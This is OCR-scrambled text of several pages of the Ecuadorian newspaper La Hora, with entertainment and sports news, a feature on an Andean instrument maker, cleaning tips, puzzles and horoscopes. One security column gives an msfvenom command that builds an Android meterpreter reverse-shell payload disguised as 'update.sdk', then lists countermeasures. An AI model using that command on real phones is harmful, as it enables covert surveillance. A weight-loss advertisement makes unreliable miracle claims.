manifestó. ‘La China’ también indica que la canción ‘Mi último deseo’, como tal es un tema delicado, porque puede haber gente que no le llegue a gustar. “La gente que conoce mi trayectoria sabe que trabajé con Sharon, no fui su mejor amiga, pero si mantuve una cercanía cordial con ella por el trabajo, y en mi corazón esta canción es como una especie de homenaje”, dijo. Recordó que el tema lo escuchó por primer a través de la banda Recojitos de México, y después por medio de La Hechicera. (DAB)

RENOVADO

Vuelve ‘Star Trek’ LOS ÁNGELES • La serie de ciencia ficción regresará a la pe-

queña pantalla con una producción “totalmente nueva” a partir de enero de 2017, informó en un comunicado CBS Television Studios. El seriado arrancará con un programa especial que se emitirá dicha cadena, pero el primer episodio y los restantes estarán disponibles en EE.UU. exclusivamente a través de CBS All Access, su plataforma digital y de video bajo demanda. Alex Kurtzman, quien trabajó en las últimas dos últimas películas de esta franquicia, será el productor ejecutivo de la serie.

REENCUENTRO

Retoman amistad MÉXICO • A 26 años de haberse divorciado, la cantante Madonna y el actor Sean Penn han retomado el vínculo y con el pasar de las semanas, parece que su relación se ha ido fortaleciendo. El portal PageSix afirma que la noche del jueves, ambos fueron vistos saliendo de un bar de un hotel californiano, donde estuvieron conviviendo por un rato luego de que la cantante culminara en San Diego los compromisos de su gira en EE.UU. EL UNIVERSAL

SERIE

Retorna el terror de los muertos

Hace 34 años, Bruce Campbell le dio vida a Ash en la cinta ‘The Evil Dead’ de Sam Raimi, uno de los cineastas más importantes en los filmes de terror. Este año, Campbell de 57 años regresa al mundo de ‘Evil Dead’ con la serie ‘Ash vs. Evil Dead’ que se estrenó el lunes en la noche en la cadena FOX.

INTERCULTURAL

B12

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora ECUADOR I

Detalles

Lo que de saber arranca sonidos propios de °la Mientras naturaleza con su pingullo, el artesano

Manuel Masaquiza explica que en el mundo indígena solo hay cinco notas musicales y que los instrumentos se utilizan en las fiestas andinas como el Inti Raymi, los danzantes y otros rituales.

“Tratamos de transportar el sonido del °viento que choca con los árboles, con los pajonales, y el de los hermanos pájaros que aún visitan nuestras viviendas”, comenta Masaquiza.

ESFUERZO. Manuel trabaja arduamente para elaborar un producto que “cante” las raíces.

INSTRUMENTOS QUE SACAN SONIDOS ANCESTRALES Exige tus derechos Español CONSTITUCIÓN DE LA REPÚBLICA DEL ECUADOR TÍTULO II DERECHOS Capítulo sexto Derechos de libertad Art. 66.- Se reconoce y garantizará a las personas: 20. El derecho a la intimidad personal y familiar. 21. El derecho a la inviolabilidad y al secreto de la correspondencia física y virtual; ésta no podrá ser retenida, abierta ni examinada, excepto en los casos previstos en la ley, previa intervención judicial y con la obligación de guardar el secreto de los asuntos ajenos al hecho que motive su examen. Este derecho protege cualquier otro tipo o forma de comunicación. 22. El derecho a la inviolabilidad de domicilio. No se podrá ingresar en el domicilio de una persona, ni realizar inspecciones o registros sin su autorización o sin orden judicial, salvo delito flagrante, en los casos y forma que establezca la ley. 23. El derecho a dirigir quejas y peticiones individuales y colectivas a las autoridades y a recibir atención o respuestas motivadas. No se podrá dirigir peticiones a nombre del pueblo. 24. El derecho a participar en la vida cultural de la comunidad.

Kichwa ECUADOR LLAKTAPAK MAMAKAMACHIY KIMSANIKI WANKURIY SUKTANIKI WANKURIY Kishpiykaypak hayñikuna 66 niki.- Shinami runakunata riksirin, kamankapash: 20. Shuklla runa kuyana, aylluta kuyana hayñitami riksin. 21. Willayta killkashpa kachashkata, rikunapi kachashkata mana wakllichishka kana, pakalla kana hayñitami charinka. Kayta hapinata, paskanata, taripashkapash mana kankachu. Kaytaka kamachiy rikuchishka kakpi, shuktak runapak kakta, wakaychinkapa chayta taripana kakpi, kamachik kamayuk nikpillami rikunkapa paskanka. Kay hayñika shuktak sami willaykunatapash, shuktak wallpa chaskitapash ukllanmi. 22.Kawsana kuskata, wasita mana wakllichina hayñitami charin. Shuk runapak kawsana wasiman mana yanka yaykunallachu. Wasiyuk mana sakikpi, kamachik mana nikpika tukuyta rikunata, charishkata kipunata, imatapash mana ushanachu. Ancha hucha tiyakpi, kamachiy shinachun nikpillami wasiman yaykuna. 23. Kamachikkunaman shuklla runa, tantarishka runapash mana alli willayta, mañayta pushana hayñita riksin. Shinallatak alli yanapayta, tikrachishkata chaskina hayñitami charin. Shuklla runa llaktapak shutipi mañay kachanata mana ushankachu. 24. Ayllullaktapak kawsaytarpuypi chaypikana hayñita charin.

La música andina es un legado en las manos de un artesano de Salasaca, en Tungurahua.

TUNGURAHUA/LA HORA

C

on lija en mano, Manuel Masaquiza prepara la madera para lo que muy pronto se convertirá en un charango típico del pueblo salasaca (Tungurahua). Con mucha nostalgia recuerda que su afición por los sonidos de la naturaleza le llevó a apasionarse por la confección de instrumentos musicales. Charangos, quenas, pingullos, son algunos de los artefactos que desde hace más de 36 años fabrica con la ilusión de que la música y cultura de su pueblo no se desvanezca con el tiempo. Las manos laboriosas, endurecidas por la labor dura de la agricultura, no impiden que aflore la habilidad innata de este maestro quien dice haber obtenido su habilidad con el solo hecho de ver y escuchar a la Pachamama, la madre tierra. “Todos los instrumentos, la flauta, el pingullo o el pífano, los afino a simple oído, acorde a los sonidos de la

CULTURA. Manuel Masaquiza y su hijo confeccionan los instrumentos andinos utilizados en las fiestas de los pueblos andinos.

naturaleza, no están armonizados como los de los mestizos con notas musicales y eso”, manifiesta Manuel. En Salasaca, todos lo conocen como ‘Maño Grande’ y saben que si necesitan un buen instrumento andino deben acudir a su casa de teja y bloque cruzado, donde vive junto a sus cinco hijos. La confección

Según el artesano, el secreto de sus obras está en la preparación de la materia prima, en este caso la madera, para el charango o el bandolín, para lo cual se deja secar la madera y lo más importante -dice- es darle forma con amor y sutileza. “No hacemos en cantidad, elaboramos uno que otro, pero que en realidad arranque sonidos ancestrales”, asegura. Para Manuel, un buen instrumento no se hace de la noche a la mañana, más bien, lleva tiempo y dedicación. Por eso no es barato y solo vienen a pedir quienes

realmente aprecian la música y el arte. “Para la kena, pífano y otros artefactos de viento utilizamos el bambú de la Costa o de la Amazonía”, afirma. Las nuevas generaciones

Tupak es el primer hijo de Manuel y, como su padre, poco a poco ha ido aprendiendo este oficio. Atareado con la confección de su propio artefacto, él espera terminar este instrumento para participar en el festival del Tzawar Mishki, que se realiza en Salasaca, donde se ponen de manifiesto los instrumentos y la música andina. “Esperamos que los jóvenes de todas las épocas mantengan viva la cultura, no se trata solo de tocar sino de entonar, de encontrarse con la naturaleza y que se den cuenta de que la música es natural, es nuestra, nace con nosotros y muere con nosotros”, manifiesta. (FCT)

Este es el espacio más íntimo, por lo que su mantenimiento estético y técnico es importante.

duren por muchos años. Muchas veces te habrás preguntado ¿cómo cuidar las piezas de este cuarto?, ¿qué materiales se deben utilizar en la limpieza del mismo?, ¿qué elementos pueden No solo es cuestión de limpiar relucientes, sino también rea- dañar o ser perjudiciales? Y para para que los accesorios del lizar un adecuado manteni- esto hay respuestas, conócelas en cuarto de baño permanezcan miento de los mismos para que los siguientes párrafos. (CM)

Lo indispensable Ten siempre un paño suave, jabón °líquido y agua para limpiar el exterior de las griferías diariamente. Esto aportará brillo a la grifería y dará una apariencia nueva a estas piezas. Pero si las mangueras de baño presentan hilos rotos, estrangulamiento, fisura de la llave o se observa óxido, es momento de cambiar este componente.

Baldosas brillantes diario de la ducha hace °queEleluso azulejo, que por lo general

es protector, se llene de suciedad producto de los aceites y células muertas de la piel; el agua dura también contribuye a impregnar una serie de residuos. Pero hay una buena solución, la cera para autos limpia los depósitos minerales y la suciedad, permitiendo que retomen brillo.

Inodoros relucientes °

Para evitar la acumulación de bacterias y sarro ante una inadecuada limpieza, el bicarbonato y el vinagre son buenos aliados. Entonces, si vas a desinfectar y blanquear, qué mejor que espolvorear bicarbonato al interior del inodoro, dejar actuar por media hora y luego echar un litro de agua hirviendo mezclada con una taza de vinagre y con la ayuda de una escobilla o un cepillo fregar y, finalmente, tirar de la cadena para que fluya el agua.

Los pisos al final ° El último paso es asear el piso del baño, una vez que el resto está completamente limpio. Pero antes de nada, empieza por barrer bien para eliminar el polvo y la suciedad. Un trapo ayudará a trabajar en zonas de difícil acceso, como por ejemplo detrás del inodoro. Pero si las manchas están muy resecas, el vinagre hará lo suyo toda la noche y al día siguiente se limpiará como de costumbre.

I

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

B13

LIBERTAD DIGITAL Por: Luis Enríquez

Así los hackers utilizan tu celular para espiarte En este post mostraré cómo te pueden espiar por medio de tu teléfono con el sistema Android y cómo protegerte. En Ecuador se ha puesto muy de moda el tema del espionaje. Varios amigos me han preguntado si es posible que te espíen a través de tu celular, intercepten tus llamadas y mensajes, graben tus conversaciones e incluso te tomen fotos y videos con tu propio teléfono. La respuesta es un rotundo SI. Los teléfonos inteligentes de hoy son computadores personales. Los sistemas operativos como Android o el iOS del Iphone son presas fáciles. El mayor problema de seguridad de estos radica en que los usuarios no han tomado conciencia aún de lo fácil que es el espionaje a través de ellos. Cabe resaltar que los programas espías ahora no son solo utilizados por delincuentes informáticos, sino también por gobiernos. Prueba de esto son casos sonados como el espionaje de la National Security Agency (NSA) revelado por Edward Snowden, o el reciente caso de la empresa italiana Hacking Team (HT) revelado por WikiLeaks. A continuación, muestro lo fácil que es instalar programas de espionaje en móviles con sistema Android a través de la ingeniería social. Lo importante de este post es revisar las medidas para reducir el riesgo de ser espiado. Creamos un payload utilizando Metasploit (puedes descargarlo desde http://www.metasploit.com/). Para ello utilizamos el siguiente comando: ~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=4444 R > update.sdk

Cotramedidas

1. Descargar aplicaciones solamente desde fuentes conocidas. En el caso de Android, hablamos de PlayStore. Esto reducirá en gran medida el riesgo de descargar malware. 2. Instalar un programa de antivirus en nuestro teléfono. 3. Guardar información confidencial utilizado técnicas de cifrado y steganografía. 4. Si necesitas que tu vida sea ultraconfidencial o si no puedes cumplir con las tres condiciones anteriormente señaladas, tal vez deberías considerar dejar de usar smartphones.

Luis Enríquez es un abogado experto en Derecho en Internet. Además, es un reconocido artista de música académica y rock. Fue guitarrista de Sal y Mileto.

ADELGAZA YA BAJE DE PESO RAPIDAMENTE DE MANERA NATURAL SIN DIETA NI EJERCICIOS Y SIN EFECTO REBOTE ESTOS SON LOS PRODUCTOS QUE ESTÁN REVOLUCIONANDO EL MERCADO EN TODO EL MUNDO TRATAMIENTO 100% NATURAL. ELIMINA LA GRASA ACUMULADA DE MANERA INMEDIATA, CALMA LA ANSIEDAD POR COMER, REDUCE EL APETITO, INCREMENTA EL METABOLISMO

CONTENEDORES USADOS DE 40 PIES Y CHASIS PARA CONTENEDORES DE 40 PIES LLAMAR AL:

ES EL MEJOR MÉTODO Y MÁS EFICAZ EN PARCHES PARA PERDER PESO DE FORMA NATURAL Y SIN TENER EFECTOS SECUNDARIOS FUNCIONA TODO EL DIA Y TODA LA NOCHE COMPLEMÉNTALO CON FRUTA PLANTA O SEMILLAS DE CHIA Y AMARANTO Y UN ESPECIALISTA Y TE AYUDARA CON CONSULTAS TELEFÓNICAS GRATUITAS

HAGA SU PEDIDO AHORA 0999097835 / 0992836359 TELF: (02) 2419507 QUITO WSP: 0996793804 / 0998579510 Facebook: mejoralafigura

POR TU COMPRA EN ESTE MOMENTO PIDE TU

GRATIS¡¡¡

P.A.G.32671

PRODUCTO www.mejoratufiguraya.wix.com/garantizado

CYAN MAGENTA YELLOW BLACK

PAR/101330

Que tu baño luzca reluciente

ZONA TEC

MOSAICO B14

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

• HORAGRAMA

H. MARCELO MEJIA R. hmejia@lahora.com.ec

¿Nació un 4 de noviembre?

AMARRAR CABO, RONZAL

E

AURA, AIRECILLO

TVFAN

PELÍCULA

SPIDER-MAN

INGLÉS

ARIES

CROMO

DUEÑO

ÍNTEGRO

TIEMPO

El Código Da Vinci HBO2, 12:00

HUIR, ESCAPAR

PENSIÓN,

ONDA

MONEDA DE JAPÓN

ESCRITOR MEXICANO

(mayo 21 - junio 21)

CIUDAD DE ITALIA TAREA,

SUCUMBIR

LLAMAR,

A

A

C A

M A R

MOLUSCO CEFALÓPODO

ACTOR DE LA

O

R A

TELENOVELA

QUÉ POBRES TAN RICOS

C

R

A

S

MIMIFERO

N

A

A

CONVICTO

R

PARAFINA

E

ROEDOR

LABRAR

M

SAGRADA

J

CANTANTE DE MÚSICA POP LATINO Y ACTRIZ MEXICANA

A

P A

A

CABELLO

C

I

SOGA DE ESPARTO

R

U

PRIMERA

R

E

A

L

CANTÓN DE LOJA

VERDADERO VOCAL

I

M

FRUTA DE EXPORTACIÓN

O

CINTA, FAJA

A

DISPERSA

R

L

I

A

BLANCO

PANTOMINA

N

A

RATA EN

T

INGLÉS

ACCIÓN DE LOAR

A

SÍMBOLO DEL LITIO

RÍO DE ITALIA

T

O

N

BULTO

C

L

A

O

P

A

S

I

N

A

ASIDERO, MANGO

DIOS DE LOS REBAÑOS

R A

SÍMBOLO DEL RADIO

SEÑORA

D

I

HUESO DE LA CADERA

DEPARTAMENTO DEL PERÚ

I

C

CELEBRIDADES GEOVANNI GEORGI (1871 - 195O) FÍSICO E INGENIERO ITALIANO. IDEÓ UN SISTEMA

A

E

N

CIUDAD DE FRANCIA INSTRUMENTO MÚSICO GUARANÍ

LIEBRE DE LA PATAGONIA

A

AVE QUE PRO-

E

M

DUCE PLUMÓN ACCIÓN DE TASAR

T

A

R

E

A

R

A

E

JAMAR

A

ALTAR

B

FLÁCIDO, MARCHITO

A

L

A

R

E O

M R A

R

C

A

M A

A

M

ARTÍCULO NEUTRO

LECHO

N

PATO DIOS EN EL ISLAM

A

L

A

L O

D

O

FANGO EMBUSTE BATRACIO

R

L

3 1 5

8 2 7 9

2

5

1

7

3

3 2

9 8

5 1

6 3

1

4

R

I

C

A

A

M

EXTENSIÓN DE

PAN DE MAÍZ

A

O

A

SALUDO INDIO

R

U

A N

A

ESTADO DEL BRASIL ENSENADA

A

CIUDAD DE JAPÓN

B

E

ARGOLLA ENRAMADA, COBERTIZO

A

N

MANTO BEDUINO

A

DIOS DE LA INDIA REPETIR

B

I

O

TAMBOR

T

EXTRAÑA

R

D

A

R

R

SÍMBOLO DEL SODIO RÍO DE RUSIA Y KAZAKISTÁN

R

E

A

DE TANTO

A

VIRGO

AMANECER

(agosto 23 - septiembre 22)

VOZ DE

ARRULLO

ARGOLLA CREMA DE LA LECHE

A

Sea paciente y tolerante en su hogar ya que la crítica no es aconsejable en este momento. Recuerde: Asimile las experiencias y aprovéchelas para superarse.

DILUVIO

VALUAR, VALORAR DESEO, APETITO

L

A

R

APÓCOPE

(julio 23 - agosto 22)

DIOS DEL VINO PATRIARCA DEL

PACTAR DIOS EN EL ISLAM

METAL PRECIOSO

LÍRICA

O

ACORDAR,

EMBROLLO

Su atención se centra en las relaciones afectivas. Procure manejar sus pensamientos y emociones a fin de no tornarse obsesivo. Recuerde: Lo realmente importante es su equilibrio emocional y su tranquilidad.

LEO

QUIETUD

AGUA SALADA

COMPOSICIÓN

UNO EN INGLÉS

ATRÁS

DISPERSO

I

A

MEZCLA DE GASES QUE CONSTITUYEN LA ATMÓSFERA

Su capacidad para asimilar los conocimientos se acrecienta. Buen momento para realizar investigaciones. Recuerde: ¡Ánimo! Y…¡Adelante!.

LIBRA

(septiembre 23 - octubre 22)

Nro. 3352

7

A

M

R

MAX UP, 16:45

8 9

FURIA

C A

O

Un perdedor con suerte

6

A LA IDEA

O S

INVENTAR

ASTRO REY

P

DE RESES

Nro. 3353

4

RELATIVO

L

MATADERO

GRITO TAURINO

• HORAKU

°

BOSQUES

C

PUEBLO

VERBAL

C

NINFA DE LOS LIMPIA, CLARA

A

M

I

D

TERMINACIÓN ANDAR HACIA

E

R

HABITAR

O

DE UNIDADES

A

ENGORDAR

CALLE DE UN

TAPIR

A

M

(junio 22 - julio 22)

SANTO SÍMBOLO DEL BARIO

TREPADORA

Solución anterior

CÁNCER

APÓCOPE DE

CONFUSIÓN

HERMANO DE ABEL PLANTA

PRINCESA INCA

S

Ud. será más responsable en lo referente a sus labores. Cuide su sistema respiratorio y genitourinario ya que serán delicados. Recuerde: Trabaje con alegría para que sea mayor la satisfacción de realizar sus tareas.

ENFERMEDAD, PADECIMIENTO

Sea paciente con su pareja y procure ayudarla a confiar y creer en su fidelidad. Sus socios pueden tornarse críticos y meticulosos. Recuerde: Mendigo cómo soy, soy igualmente pobre en ser agradecido.

GÉMINIS

TRABAJO

SOLITARIA

ANÓNIMA ESPOSA DE ABRAHAM

CANON

TIZA

GRITAR

A

7 5

4 7 6 8 9 2 8 4 9 2 5 6 4 6 1 2 3 9 7 8 2 9 6 5 7 1 3 4 1 5 9 6 4 7 8 3 3 8 5 1 2 4 6 9 6 4 7 3 8 5 2 1

CÁPSULA CIENTÍFICA

1 9 2 5

6

4

5 3 7 2 6 7

2 1 8 1 5 3 1 9 2 8 9 4 9 5 7 4 5 1 I

Veneno de abeja, útil para llevar fármacos EFE • El Instituto de Investigación Biomédica (IRB) de Barcelona ha desarrollado un “vehículolanzadera” basado en el veneno de abeja capaz de atravesar la densa protección del cerebro para transportar hasta su interior fármacos con los que tratar enfermedades neuronales. Se trata de un nuevo “caballo de Troya para conquistar el cerebro”, señaló el investigador del IRB, Ernest Giralt, quien recordó que el cerebro está protegido por miles de apretados capilares que

BÁSCULA

GRITO TAURINO

RODAR,

DRAMÁTICA DE ESTADOS UNIDOS

L

Paul Tannek es un perdedor. Para colmo, Dora Diamond, la chica de sus sueños, tiene ojos para su profesor. Todo cambia cuando Paul y Dora pronto se enamoran y logran demostrar a todos que hasta los perdedores pueden tener un día de suerte.

(abril 20 - mayo 20)

PLATERO

ACTRIZ

SOCIEDAD

TAURO

YUNQUE DEL

Un asesinato en el Louvre, °pistas y códigos en una pintura de Leonardo Da Vinci conducen a Robert Langdon y la criptógrafa Sophie Neveu al descubrimiento de una misteriosa sociedad secreta que podría sacudir los cimientos de la humanidad.

LICOR

LABRAR REGIÓN DEL ECUADOR

ALABAR

LECHO

ANCLA

PALMA DE FIBRA TEXTIL MEDIDAD DE LONGITUD

MONEDA DE COSTA RICA COCHE, VEÍCULO

LADRÓN ENTE

PAPAL

CIUDAD DE JAPÓN COMPLETO,

COMER UNO EN INGLÉS

Aproveche este momento para realizar cambios en el área de los negocios. Su mente se flexibiliza y su psiquismo se refuerza. Recuerde: Si su corazón aún está subdesarrollado, indúzcalo a amar.

DIGNIDAD

BANDERA

CERIO ARTÍCULO FEMENINO

(marzo 21 - abril 19)

IGUAL

PALO DE LA

SÍMBOLO DEL

La búsqueda de la armonía en todos los campos de su vida es constante. Trata de mantener el orden y el equilibrio para que así reine la paz a su alrededor. El amor es fundamental y la necesidad de este es persistente.

ACTOR DE LA

GATO EN DIOS DE LA INDIA SÍMBOLO DEL

HORÓSCOPO

forman una barrera: “una defensa y al mismo tiempo un freno para hacer llegar fármacos prometedores para tratar enfermedades del sistema nervioso central”. “Este muro es responsable de la baja tasa de éxito de nuevos fármacos dirigidos al cerebro, pero hoy ya tenemos estrategias para superarlo”, aseguró Giralt. El investigador, quien también es catedrático de la Universidad de Barcelona, organizó la conferencia Blood Brain Barrier, que reúne desde el lunes en Bar-

F

MICROBIOGRAFÍA

Matthew McConaughey (1969)

Actor estadounidense, quien trabaja para el cine y la televisión, nace un día como hoy en Uvalde. También dedicado a la producción, es recordado por su memorable interpretación en el ‘Club de Dallas’, cinta con la que alcanzó los premios Oscar, Globo de Oro y SAG. Por su parten en televisión se destaca su rol en la serie ‘True detective’. Entre otras actuaciones importantes están su paso por ‘Sahara’, ‘Somos Marshall’, ‘Killer Joe’ y ‘El lobo de Wall Street’. (DVD)

El área económica tiende a mejorar gracias a su constancia e inteligencia al administrarlas. Los negocios darán buenos ingresos en este momento. Recuerde: Lo que le da belleza el desierto es saber que existe un oasis.

ESCORPIO

(octubre 23 - noviembre 21)

Su personalidad será más alegre y expresiva, se mostrará más comunicativo y expresará con más fuerza su inteligencia. Recuerde: No se deje vencer por el mal; antes bien, venza al mal con el bien.

SAGITARIO

(noviembre 22 - diciembre 21)

Procure enfocar su mente en asuntos positivos y alegres. Por el momento no se mortifique con asuntos que le preocupan y deprimen. Recuerde: Conserve la paz interior en los éxitos cómo en los fracasos.

CAPRICORNIO

(diciembre 22 - enero 19)

Las afinidades intelectuales con sus amigos serán mucho más valiosas para Ud. en este momento. Recuerde: Acaricie a sus semejantes con una sonrisa cordial.

ACUARIO USO. La sustancia se emplea para protección cerebral.

celona a una veintena de científicos para exponer sus últimos conocimientos sobre la barrera y los avances en vehículos terapéuticos dirigidos al cerebro. Nota ampliada Léala en: www.lahora.com.ec

(enero 20 - febrero 19)

Trate de ser más pacífico y tranquilo dentro del área profesional ya que sus superiores serán mucho más exigentes y su carácter será más fuerte. Recuerde: Crezca hoy cómo persona ejercitando sus cualidades.

PISCIS

(febrero 20 - marzo 20)

Sus estudios pasarán por un momento favorable y deberá aprovecharlo. Ponga atención a sus sueños ya que estos podrían ser una buena guía. Recuerde: Hoy es su oportunidad para progresar.

CRONOS

Estrellas en la red

Apoyo a su ‘hermano’

El extremo ecuatoriano Jefferson Montero publicó en días pasados una foto en la que aparece junto a Luis Antonio Valencia. “Te vas a recuperar pronto hermano @anto_v25”, escribió la ‘Turbina en su cuenta de Twitter (@ JeffMONTERO23). (WOM)

B15 Extraditado dirigente brasileño tiempo lectura 15 min.

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora ECUADOR D

José María Marín está en una prisión en los Estados Unidos.

El brasileño José María Marín, antiguo presidente de la Confederación de Fútbol de Brasil, fue extraditado ayer por Suiza a Estados Unidos en el marco de las investigaciones de corrupción en la FIFA, confirmó hoy el Ministerio suizo de Justicia y Policía. "José María Marin ha sido extraditado el 3 de noviembre. Fue recogido en Zúrich por dos policías estadounidenses y lo escoltaron hasta Nueva York", dijo el portavoz del Ministerio, Folco Galli. Las autoridades suizas comunicaron la semana pasada que el exdirigente deportivo, quien se encontraba detenido desde finales de mayo en una prisión de la región de Zúrich, había consentido en su extradición, tras haberse negado a ella anteriormente. Tras recibir ese consentimiento, el Ministerio competente suizo autorizó la extradición a

GINEBRA, EFE •

FIFA

Recuento

Fechas del escándalo 2014

° 18 NOVIEMBRE.- La FIFA presenta una demanda penal “contra desconocidos” ante la Fiscalía de Suiza por sospechas de gestión desleal y de lavado de dinero en relación con la elección de los mundiales de fútbol de Qatar 2018 y Rusia 2022. 2015

° 10 MARZO.- La Fiscalía suiza abre, por su parte, una investigación sobre la concesión de los mundiales a Qatar en 2018 y a Rusia, en 2022. ° 27 MAYO.- Al tiempo que el FBI registra la sede la Concacaf en Miami, son detenidos siete altos cargos de la FIFA en Zúrich (Suiza) a solicitud de EEUU. ° 27 MAYO.- El Comité de Ética de la FIFA suspende a 11 significados dirigentes, de los 14 denunciados por EEUU. ° 29 MAYO.- Joseph Blatter es reelegido presidente de la FIFA. ° 2 JUNIO.- Blatter anuncia su dimisión de la FIFA y argumenta que se mantendrá en el puesto hasta la celebración de un Congreso Extraordinario través de un procedimiento simplificado, pero declinó informar por anticipado sobre cuándo se produciría. La detención de Marín ocurrió el pasado 27 de mayo, junto a otros seis funcionarios de la FIFA, por petición de Estados Unidos, que quiere juzgarles por haber aceptado sobornos a cambio de dar a ciertas empresas los derechos de difusión de eventos futbolísticos. Los presuntos hechos delictivos involucran pagos por varios millones de dólares y un total de

14 personas contra las que un tribunal de Nueva York ha formulado cargos. A Marín se le acusa de la venta de los derechos de comercialización para la Copa América de los años 2015, 2016, 2019 y 2023, así como para la Copa de Brasil de 2013 y 2022. Se estima que tales acciones pudieron haber provocado un perjuicio financiero a las dos confederaciones de fútbol continentales, así como a la Confederación Nacional de Fútbol. El único que aceptó previa-

PODER. José María Marín fue el presidente de la Confederación Brasileña de Fútbol. (Foto de Archivo de EFE)

Banco interrogado en conexión con el escándalo de la FIFA UBS, principal banco suizo, anun°cióElayer que había sido interrogado en

relación con el escándalo de corrupción de la FIFA y que estaba cooperando con las autoridades suizas. Al igual que otras instituciones financiera, UBS recibió un requerimiento sobre “las cuentas de la Federación Internacional de Fútbol (FIFA)” y las “personas y entidades relacionadas”, anunció el banco.

mente su extradición fue el antiguo vicepresidente de la FIFA, Jeffrey Webb, mientras que Suiza aprobó en las últimas semanas la

extradición de los cinco detenidos restantes, quienes todavía están en el periodo previsto para apelar contra esta decisión.

Argentina y México, entre las citas del Mundial de Rallys MADRID, EFE • La Federación In-

Nadal: ‘Vuelvo a disfrutar en la pista’

El español Rafael Nadal afirmó ayer que vuelve a disfrutar en la cancha tras unos meses difíciles y se mostró muy satisfecho de comenzar el Másters 1.000 de París, que afronta sin problemas físicos tras haberse tratado una rodilla el pasado domingo durante la final de Basilea. EFE

ternacional de Automovilismo (FIA) anunció ayer el calendario del Mundial de Rallys de 2016, que incluye un total de 14 pruebas, entre ellas, las que se disputarán en España, Argentina y México. Montecarlo albergará del 22 al 24 de enero el rally inaugural del Campeonato del Mundo que, a lo largo de 14 pruebas, medirá el desempeño de los pilotos sobre gravilla, asfalto, nieve y hielo. Entre las novedades para la próxima temporada destaca la inclusión por vez primera desde el año 1999 de una cita en China, la décima, aunque la confirmación está sujeta "al cumplimiento de los requisitos exigidos por la FIA", precisó el organismo.

EXPECTATIVA. México vuelve a albergar una prueba del Mundial de Rally. (Foto de Archivo de EFE)

Si la propuesta china es aceptada, entre el 9 y el 11 de septiembre se produciría el regreso del continente asiático al campeonato, que se cerrará en Australia en noviembre. México y Argentina se reparten la tercera y cuarta cita antes del inicio de la gira europea por

Calendario 2016

° 22-24 enero ° 12-14 febrero ° 4-6 marzo ° 22-24 abril ° 20-22 mayo ° 10-12 junio ° 1-3 julio ° 29-31 julio ° 19-21 agosto ° 9-11 septiembre ° 30 sept.-2 octubre ° 14-16 octubre ° 28-30 octubre ° 18-20 noviembre

Montecarlo Suecia México Argentina Portugal Italia Polonia Finlandia Alemania China Francia España Gran Bretaña Australia.

Portugal, Italia, Polonia, Finlandia y Alemania. La prueba francesa será la undécima (del 30 de septiembre al 2 de octubre); la española la duodécima (del 14 al 16 de octubre) y la británica la decimotercera y penúltima (del 28 al 30 de octubre).

CYAN MAGENTA YELLOW BLACK

CRONOS B16

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

D

MINUTERO

De Jong mete al PSV en la lucha

°

El PSV Eindhoven se metió de lleno en la pelea por el liderato del Grupo B, tras imponerse ayer por 2-0 a un gris Wolfsburgo, en un encuentro marcado por la gran actuación del delantero local Luuk de Jong. EFE

El City asalta el liderato

Manchester City ganó 1-3 °al ElSevilla con un gran partido y en el que fue tremendamente superior a su rival, con lo que se coloca líder del Grupo D de la Liga de Campeones con nueve puntos, tras el empate del Juventus en Alemania, y deja con remotas opciones de pasar a octavos al equipo español. EFE

NACIONAL

Uruguayos palpitan duelo ante Ecuador

ELIMINATORIAS

‘Tricolores’ y ‘Charrúas’ se enfrentarán el 12 de noviembre en Quito.

El puntaje es perfecto para los dos. Comenzaron bien esas Eliminatorias, entonces, la autoestima la tienen elevada”. PABLO REPETTO,

GUAYAQUIL • El entrenador Pablo

Repetto y el jugador Franciso Usúcar ambos de origen uruguayo, analizaron el encuentro que disputará la Selección de Ecuador frente al combinado ‘charrúa’, el 12 de noviembre en el estadio Olímpico Atahualpa. Repetto, quien comanda al Independiente, dijo que ambas escuadras atraviesan un buen momento, por lo que le resulta difícil adelantar un posible marcador. “El puntaje es perfecto para los dos. Comenzaron bien esas Eliminatorias, entonces, la autoestima la tienen elevada”, explicó. Con él coincide Usúcar, jugador del Macará de Ambato, en sentido de que “Ecuador viene de un proceso nuevo, con un técnico que armó un buen grupo y Uruguay arrancó muy bien sus partidos, será atractivo ver a dos grandes selecciones”.

Propuesta

El estratega uruguayo sugirió que el combinado ‘Patrio’ debe cerrar los circuitos por las bandas y que “debe evitar la llegada de volantes contrarios y tratar de buscar arriba el marcador”. Destacó, además, que “Uruguay es un equipo agresivo y con gran rendimiento colectivo: las fortalezas son muchas. Ecuador

DT DEL INDEPENDDIENTE

EXPECTATIVA. Las entradas para ver el partido de Ecuador ante Uruguay siguen a la venta. Las generales están agotadas. (Foto de Archivo de EFE)

Valencia por Valencia en la ‘Tricolor’ ° Este días se conocerá la nómina de la Selección de Ecuador para los juegos de Eliminatorias ante Uruguay y Venezuela. El DT del equipo ‘Tricolor’, el argentino

Gustavo Quinteros, adelantó que Luis Antonio Valencia, jugador del Mánchester United, no estará por lesión y que Enner Valencia, del West Ham, volverá a la nómina. (WOM)

debe hacerse fuerte de local y apuntar a ganar el partido”. Por su parte, Usúcar, indicó que la propuesta de la ‘Tricolor’ debe ser en su totalidad defensiva porque “si permite que le pasen los delanteros de Uruguay será difícil que puedan pararlos, pero si tiene oportunidad de atacar, debe hacerlo”. Resaltó que “el fuerte de Uruguay es la pelota quieta y el

‘Madrid’ se asegura el liderato

1 0

REAL MADRID

El Benfica gana a balón parado El Benfica venció ayer al °Galatasaray gracias a dos

jugadas a balón parado (2-1) y se sitúa a un paso de alcanzar los octavos de final de la Liga de Campeones, pues lidera el Grupo C con nueve puntos, dos más que el Atlético de Madrid. EFE

contragolpe, cuenta con muchas figuras como Cavanni, Giménez y Stuani, que ponen en apuros a cualquiera”. Ausencia

Repetto habló de baja del ecuatoriano Antonio Valencia por lesión y del uruguayo Luis Suárez por sanción. “Valencia es un referente de la Selección y va a pesar mucho que no esté, pero.

